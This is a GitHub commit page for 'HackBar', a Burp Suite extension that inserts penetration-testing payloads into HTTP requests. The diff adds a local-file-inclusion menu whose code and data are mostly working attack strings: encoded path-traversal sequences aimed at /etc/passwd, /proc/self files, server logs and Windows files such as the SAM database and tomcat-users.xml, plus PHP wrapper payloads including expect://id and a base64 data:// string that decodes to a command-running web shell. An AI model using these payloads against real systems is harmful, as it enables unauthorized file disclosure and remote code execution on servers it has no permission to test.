Skip to content

Commit a7b62c9

Browse files
d3vilbugd3vilbug
committed
Offical Release 1.0
1 parent a4bb3d6 commit a7b62c9

20 files changed

+662
-294
lines changed

‎README.md

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -39,5 +39,6 @@
3939
- Mini Webshells
4040
- Simulate Attack (Automatically test complete cheat sheet with one click)
4141

42-
### Greet
43-
- An0n 3xPloiTeR https://github.com/Anon-Exploiter/ for SQLi && XSS payloads
42+
### Greets
43+
- An0n 3xPloiTeR https://github.com/Anon-Exploiter/ for SQLi && XSS payloads
44+
- PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/

‎build/built-jar.properties

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#Sat, 08 Sep 2018 01:56:29 +0500
2-
3-
4-
C\:\\Users\\bugzy\\Documents\\NetBeansProjects\\Burp_Plugins\\HackBar=
1+
#Fri, 21 Sep 2018 19:14:15 +0500
2+
3+
4+
/mnt/0C54773E54772A1A/Users/bugzy/Documents/NetBeansProjects/Burp_Plugins/HackBar=

‎build/classes/burp/BurpExtender.class

-55 Bytes
Binary file not shown.

‎build/classes/burp/SQL_Menu.class

-93 Bytes
Binary file not shown.

‎build/classes/burp/XSS_Menu.class

1.91 KB
Binary file not shown.

‎dist/README.TXT

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,4 +29,4 @@ the projects runtime path.
2929
* To set a main class in a standard Java project, right-click the project node
3030
in the Projects window and choose Properties. Then click Run and enter the
3131
class name in the Main Class field. Alternatively, you can manually type the
32-
class name in the manifest Main-Class element.
32+
class name in the manifest Main-Class element.

‎nbproject/private/private.properties

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,6 @@
1-
compile.on.save=true
2-
user.properties.file=C:\\Users\\bugzy\\AppData\\Roaming\\NetBeans\\8.0.2\\build.properties
1+
compile.on.save=true
2+
do.depend=false
3+
do.jar=true
4+
javac.debug=true
5+
javadoc.preview=true
6+
user.properties.file=/home/bugzy/.netbeans/8.0.2/build.properties

‎nbproject/private/private.xml

Lines changed: 9 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,9 @@
1-
<?xml version="1.0" encoding="UTF-8"?>
2-
<project-private xmlns="http://www.netbeans.org/ns/project-private/1">
3-
<editor-bookmarks xmlns="http://www.netbeans.org/ns/editor-bookmarks/2" lastBookmarkId="0"/>
4-
<open-files xmlns="http://www.netbeans.org/ns/projectui-open-files/2">
5-
<group>
6-
<file>file:/C:/Users/bugzy/Documents/NetBeansProjects/Burp_Plugins/HackBar/src/burp/Methods.java</file>
7-
<file>file:/C:/Users/bugzy/Documents/NetBeansProjects/Burp_Plugins/HackBar/src/burp/SQli_LoginBypass.java</file>
8-
<file>file:/C:/Users/bugzy/Documents/NetBeansProjects/Burp_Plugins/HackBar/src/burp/SQL_Menu.java</file>
9-
<file>file:/C:/Users/bugzy/Documents/NetBeansProjects/Burp_Plugins/HackBar/src/burp/BurpExtender.java</file>
10-
</group>
11-
</open-files>
12-
</project-private>
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project-private xmlns="http://www.netbeans.org/ns/project-private/1">
3+
<editor-bookmarks xmlns="http://www.netbeans.org/ns/editor-bookmarks/2" lastBookmarkId="0"/>
4+
<open-files xmlns="http://www.netbeans.org/ns/projectui-open-files/2">
5+
<group>
6+
<file>file:/mnt/0C54773E54772A1A/Users/bugzy/Documents/NetBeansProjects/Burp_Plugins/HackBar/src/burp/XSS_Menu.java</file>
7+
</group>
8+
</open-files>
9+
</project-private>

‎nbproject/project.properties

Lines changed: 75 additions & 73 deletions
Original file line numberDiff line numberDiff line change
@@ -1,73 +1,75 @@
1-
annotation.processing.enabled=true
2-
annotation.processing.enabled.in.editor=false
3-
annotation.processing.processor.options=
4-
annotation.processing.processors.list=
5-
annotation.processing.run.all.processors=true
6-
annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output
7-
build.classes.dir=${build.dir}/classes
8-
build.classes.excludes=**/*.java,**/*.form
9-
# This directory is removed when the project is cleaned:
10-
build.dir=build
11-
build.generated.dir=${build.dir}/generated
12-
build.generated.sources.dir=${build.dir}/generated-sources
13-
# Only compile against the classpath explicitly listed here:
14-
build.sysclasspath=ignore
15-
build.test.classes.dir=${build.dir}/test/classes
16-
build.test.results.dir=${build.dir}/test/results
17-
# Uncomment to specify the preferred debugger connection transport:
18-
#debug.transport=dt_socket
19-
debug.classpath=\
20-
${run.classpath}
21-
debug.test.classpath=\
22-
${run.test.classpath}
23-
# Files in build.classes.dir which should be excluded from distribution jar
24-
dist.archive.excludes=
25-
# This directory is removed when the project is cleaned:
26-
dist.dir=dist
27-
dist.jar=${dist.dir}/HackBar.jar
28-
dist.javadoc.dir=${dist.dir}/javadoc
29-
excludes=
30-
includes=**
31-
jar.compress=false
32-
javac.classpath=
33-
# Space-separated list of extra javac options
34-
javac.compilerargs=
35-
javac.deprecation=false
36-
javac.processorpath=\
37-
${javac.classpath}
38-
javac.source=1.8
39-
javac.target=1.8
40-
javac.test.classpath=\
41-
${javac.classpath}:\
42-
${build.classes.dir}
43-
javac.test.processorpath=\
44-
${javac.test.classpath}
45-
javadoc.additionalparam=
46-
javadoc.author=false
47-
javadoc.encoding=${source.encoding}
48-
javadoc.noindex=false
49-
javadoc.nonavbar=false
50-
javadoc.notree=false
51-
javadoc.private=false
52-
javadoc.splitindex=true
53-
javadoc.use=true
54-
javadoc.version=false
55-
javadoc.windowtitle=
56-
main.class=
57-
manifest.file=manifest.mf
58-
meta.inf.dir=${src.dir}/META-INF
59-
mkdist.disabled=false
60-
platform.active=default_platform
61-
run.classpath=\
62-
${javac.classpath}:\
63-
${build.classes.dir}
64-
# Space-separated list of JVM arguments used when running the project.
65-
# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value.
66-
# To set system properties for unit tests define test-sys-prop.name=value:
67-
run.jvmargs=
68-
run.test.classpath=\
69-
${javac.test.classpath}:\
70-
${build.test.classes.dir}
71-
source.encoding=UTF-8
72-
src.dir=src
73-
test.src.dir=test
1+
annotation.processing.enabled=true
2+
annotation.processing.enabled.in.editor=false
3+
annotation.processing.processors.list=
4+
annotation.processing.run.all.processors=true
5+
annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output
6+
application.title=HackBar
7+
application.vendor=bugzy
8+
build.classes.dir=${build.dir}/classes
9+
build.classes.excludes=**/*.java,**/*.form
10+
# This directory is removed when the project is cleaned:
11+
build.dir=build
12+
build.generated.dir=${build.dir}/generated
13+
build.generated.sources.dir=${build.dir}/generated-sources
14+
# Only compile against the classpath explicitly listed here:
15+
build.sysclasspath=ignore
16+
build.test.classes.dir=${build.dir}/test/classes
17+
build.test.results.dir=${build.dir}/test/results
18+
# Uncomment to specify the preferred debugger connection transport:
19+
#debug.transport=dt_socket
20+
debug.classpath=\
21+
${run.classpath}
22+
debug.test.classpath=\
23+
${run.test.classpath}
24+
# Files in build.classes.dir which should be excluded from distribution jar
25+
dist.archive.excludes=
26+
# This directory is removed when the project is cleaned:
27+
dist.dir=dist
28+
dist.jar=${dist.dir}/HackBar.jar
29+
dist.javadoc.dir=${dist.dir}/javadoc
30+
endorsed.classpath=
31+
excludes=
32+
includes=**
33+
jar.compress=true
34+
javac.classpath=
35+
# Space-separated list of extra javac options
36+
javac.compilerargs=
37+
javac.deprecation=false
38+
javac.processorpath=\
39+
${javac.classpath}
40+
javac.source=1.8
41+
javac.target=1.8
42+
javac.test.classpath=\
43+
${javac.classpath}:\
44+
${build.classes.dir}
45+
javac.test.processorpath=\
46+
${javac.test.classpath}
47+
javadoc.additionalparam=
48+
javadoc.author=false
49+
javadoc.encoding=${source.encoding}
50+
javadoc.noindex=false
51+
javadoc.nonavbar=false
52+
javadoc.notree=false
53+
javadoc.private=false
54+
javadoc.splitindex=true
55+
javadoc.use=true
56+
javadoc.version=false
57+
javadoc.windowtitle=
58+
main.class=
59+
manifest.file=manifest.mf
60+
meta.inf.dir=${src.dir}/META-INF
61+
mkdist.disabled=false
62+
platform.active=default_platform
63+
run.classpath=\
64+
${javac.classpath}:\
65+
${build.classes.dir}
66+
# Space-separated list of JVM arguments used when running the project.
67+
# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value.
68+
# To set system properties for unit tests define test-sys-prop.name=value:
69+
run.jvmargs=
70+
run.test.classpath=\
71+
${javac.test.classpath}:\
72+
${build.test.classes.dir}
73+
source.encoding=UTF-8
74+
src.dir=src
75+
test.src.dir=test

‎src/burp/BurpExtender.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,14 +37,14 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
3737
this.menu_list = new ArrayList();
3838
this.Hack_Bar_Menu = new JMenu(this.MenuName);
3939
this.Hack_Bar_Menu.add(new SQL_Menu(this));
40+
this.Hack_Bar_Menu.add(new SQL_Error(this));
4041
this.Hack_Bar_Menu.add(new SQli_LoginBypass(this));
4142
this.Hack_Bar_Menu.add(new XSS_Menu(this));
4243
this.Hack_Bar_Menu.add(new LFI_Menu(this));
4344
this.Hack_Bar_Menu.add(new XXE_Menu(this));
44-
this.Hack_Bar_Menu.add(new RCE_Menu(this));
4545
this.Hack_Bar_Menu.add(new WebShell_Menu(this));
4646
this.Hack_Bar_Menu.add(new Reverse_Shell_Menu(this));
47-
this.Hack_Bar_Menu.add(new Decoder_Encoder_Menu(this));
47+
// this.Hack_Bar_Menu.add(new Decoder_Encoder_Menu(this));
4848

4949

5050
this.callbacks.setExtensionName(this.ExtensionName);

‎src/burp/LFI_Menu.java

Lines changed: 60 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,9 @@
55
*/
66
package burp;
77

8+
import java.awt.event.ActionEvent;
9+
import java.awt.event.ActionListener;
10+
import java.util.Arrays;
811
import javax.swing.JMenu;
912

1013
/**
@@ -13,12 +16,66 @@
1316
*/
1417
public class LFI_Menu extends JMenu {
1518
public BurpExtender myburp;
19+
public String[] LFI_Menu = {"Simple Check", "Path Traversal", "Wrapper", "/proc", "Log Files", "Windows File"};
20+
public String LFIMenuItems[][] = {
21+
{"/etc/passwd", "/etc/passwd%00", "etc%2fpasswd", "etc%2fpasswd%00", "etc%5cpasswd", "etc%5cpasswd%00", "etc%c0%afpasswd", "etc%c0%afpasswd%00", "../../../etc/passwd", "../../../etc/passwd%00", "%252e%252e%252fetc%252fpasswd", "%252e%252e%252fetc%252fpasswd%00", "../../../../../../../../../etc/passwd..\\.\\.\\.\\.\\.\\.\\.\\.", "../../../../[…]../../../../../etc/passwd", "....//....//etc/passwd", "..///////..////..//////etc/passwd", "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd","C:\\boot.ini", "C:\\WINDOWS\\win.ini"},
22+
{"../", "..%2f", "%2e%2e/", "%2e%2e%2f", "..%252f", "%252e%252e/", "%252e%252e%252f", "..\\", "..%255c", "..%5c..%5c", "%2e%2e\\", "%2e%2e%5c", "%252e%252e\\", "%252e%252e%255c", "..%c0%af", "%c0%ae%c0%ae/", "%c0%ae%c0%ae%c0%af", "..%25c0%25af", "..%c1%9c"},
23+
{"expect://id","expect://ls","php://input","php://filter/read=string.rot13/resource=index.php","php://filter/convert.base64-encode/resource=index.php","pHp://FilTer/convert.base64-encode/resource=index.php","php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd","data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4="},
24+
{"/proc/self/environ", "/proc/self/cmdline", "/proc/self/stat", "/proc/self/status", "/proc/self/fd/0", "/proc/self/fd/1", "/proc/self/fd/2", "/proc/self/fd/3"},
25+
{"/var/log/apache/access.log", "/var/log/apache/error.log", "/var/log/vsftpd.log", "/var/log/sshd.log", "/var/log/mail", "/var/log/httpd/error_log", "/usr/local/apache/log/error_log", "/usr/local/apache2/log/error_log", "/var/log/access_log", "/var/log/access.log", "/var/log/error_log", "/var/log/error.log", "/var/log/apache/access_log", "/var/log/apache2/access_log", "/var/log/apache2/error.log", "/var/log/httpd/access_log", "/opt/lampp/logs/access_log", "/opt/lampp/logs/access.log", "/opt/lampp/logs/error_log", "/opt/lampp/logs/error.log"},
26+
{"C:\\boot.ini", "C:\\WINDOWS\\win.ini", "C:\\WINDOWS\\php.ini", "C:\\WINDOWS\\System32\\Config\\SAM", "C:\\WINNT\\php.ini", "C:\\xampp\\phpMyAdmin\\config.inc", "C:\\xampp\\phpMyAdmin\\phpinfo.php", "C:\\xampp\\phpmyadmin\\config.inc.php", "C:\\xampp\\apache\\conf\\httpd.conf", "C:\\xampp\\MercuryMail\\mercury.ini", "C:\\xampp\\php\\php.ini", "C:\\xampp\\phpMyAdmin\\config.inc.php", "C:\\xampp\\tomcat\\conf\\tomcat-users.xml", "C:\\xampp\\tomcat\\conf\\web.xml", "C:\\xampp\\sendmail\\sendmail.ini", "C:\\xampp\\webalizer\\webalizer.conf", "C:\\xampp\\webdav\\webdav.txt", "C:\\xampp\\apache\\logs\\error.log", "C:\\xampp\\apache\\logs\\access.log", "C:\\xampp\\FileZillaFTP\\Logs", "C:\\xampp\\FileZillaFTP\\Logs\\error.log", "C:\\xampp\\FileZillaFTP\\Logs\\access.log", "C:\\xampp\\MercuryMail\\LOGS\\error.log", "C:\\xampp\\MercuryMail\\LOGS\\access.log", "C:\\xampp\\mysql\\data\\mysql.err", "C:\\xampp\\sendmail\\sendmail.log"}
27+
};
1628

1729
LFI_Menu(BurpExtender burp){
1830
this.setText("LFI");
1931
this.myburp = burp;
20-
this.Create_LFI_Menu();
32+
Methods.Create_Main_Menu(this, LFI_Menu, LFIMenuItems, new LFIItemListener(myburp));
2133
}
22-
23-
public void Create_LFI_Menu(){}
2434
}
35+
36+
37+
38+
39+
40+
class LFIItemListener implements ActionListener {
41+
42+
BurpExtender myburp;
43+
LFIItemListener(BurpExtender burp) {
44+
myburp = burp;
45+
}
46+
47+
@Override
48+
public void actionPerformed(ActionEvent e) {
49+
int[] selectedIndex = myburp.context.getSelectionBounds();
50+
IHttpRequestResponse req = myburp.context.getSelectedMessages()[0];
51+
byte[] request = req.getRequest();
52+
byte[] param = new byte[selectedIndex[1]-selectedIndex[0]];
53+
System.arraycopy(request, selectedIndex[0], param, 0, selectedIndex[1]-selectedIndex[0]);
54+
String selectString = new String(param);
55+
String action = e.getActionCommand();
56+
byte[] newRequest = do_LFI(request, selectString, action, selectedIndex);
57+
req.setRequest(newRequest);
58+
}
59+
60+
public byte[] do_LFI(byte[] request, String selectedString, String action, int[] selectedIndex){
61+
if (Arrays.asList("../", "..%2f", "%2e%2e/", "%2e%2e%2f", "..%252f", "%252e%252e/", "%252e%252e%252f", "..\\", "..%255c", "..%5c..%5c", "%2e%2e\\", "%2e%2e%5c", "%252e%252e\\", "%252e%252e%255c", "..%c0%af", "%c0%ae%c0%ae/", "%c0%ae%c0%ae%c0%af", "..%25c0%25af", "..%c1%9c").contains(action)){
62+
String str = Methods.prompt_and_validate_input("Enter No. of iteration", null);
63+
try{
64+
int num = Integer.parseInt(str);
65+
for(int i=1; i <= num; i++){
66+
selectedString += action;
67+
}
68+
selectedString += "etc/passwd";
69+
}catch(NumberFormatException nfe){
70+
Methods.show_message("Enter proper interegr value!!!", "Input Not Valid");
71+
}
72+
73+
}
74+
else{
75+
selectedString = action;
76+
}
77+
return Methods.do_modify_request(request, selectedIndex, selectedString);
78+
}
79+
80+
81+
}

‎src/burp/Methods.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ public static JMenu Create_Main_Menu(JMenu MainMenu, String[] MainMenuItems, Str
4141
return MainMenu;
4242
}
4343

44+
4445
public static String prompt_and_validate_input(String prompt, String str){
4546
String user_input = JOptionPane.showInputDialog(prompt, str);
4647
while(user_input.trim().equals("")){
@@ -57,4 +58,8 @@ public static byte[] do_modify_request(byte[] request, int[] selectedIndex, Stri
5758
System.arraycopy(request, selectedIndex[1], newRequest, selectedIndex[0]+modString.length, request.length-selectedIndex[1]);
5859
return newRequest;
5960
}
61+
62+
public static void show_message(String str1, String str2){
63+
JOptionPane.showMessageDialog(null, str1, str2, 0);
64+
}
6065
}

‎src/burp/RCE_Menu.java

Lines changed: 0 additions & 24 deletions
This file was deleted.

0 commit comments

Comments
 (0)